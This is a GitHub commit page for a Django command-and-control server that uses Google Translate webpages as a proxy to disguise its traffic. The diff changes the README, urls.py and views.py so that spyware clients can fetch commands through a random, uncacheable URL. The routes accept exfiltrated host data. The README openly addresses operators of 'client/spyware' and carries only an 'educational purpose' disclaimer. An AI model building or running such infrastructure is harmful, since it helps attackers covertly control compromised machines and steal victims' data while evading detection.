Skip to content

Commit

Permalink
Prevent Google cache
Browse files Browse the repository at this point in the history
  • Loading branch information
Gakamine committed Jan 27, 2023
1 parent b16d2dc commit 81df4b9
Show file tree
Hide file tree
Showing 3 changed files with 4 additions and 3 deletions.
3 changes: 2 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ A simple C2 meant to be used behind Google Translate Webpages as a proxy for dat
You can expand the size of the data by editing ``collector\models.py`` and edit the ``max_length=<your value>`` for the ``data_content`` field.

### Sending command
- Fetch the following link from your client/spyware: ``https://your-domain.translate.goog/c/<hostname>/<ip>/``
- Fetch the following link from your client/spyware: ``https://your-domain.translate.goog/c/<hostname>/<ip>/<random_string>``
- The random string is used to prevent Google to cache the URL.

# FOR EDUCATIONAL PURPOSE ONLY
2 changes: 1 addition & 1 deletion collector/urls.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
from django.conf import settings

urlpatterns = [
path('c/<hostname>/<ip>/', views.get_command),
path('c/<hostname>/<ip>/<random>', views.get_command),
path('f/<hostname>/<ip>/<data_type>/<data_hash>/<path:data_content>/', views.data_collection),
path('<hostname>/<ip>/<data_type>/<path:data_content>/', views.data_collection),
path('', views.index)
Expand Down
2 changes: 1 addition & 1 deletion collector/views.py
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ def data_collection(request, hostname, ip,data_type,data_content,data_hash=None)
data.save()
return render(request, 'index.html')

def get_command(request,hostname,ip):
def get_command(request,hostname,ip,random):
host=Computer.objects.filter(hostname=hostname,ip_address=ip)
if host.exists():
host=host[0]
Expand Down

0 comments on commit 81df4b9

Please sign in to comment.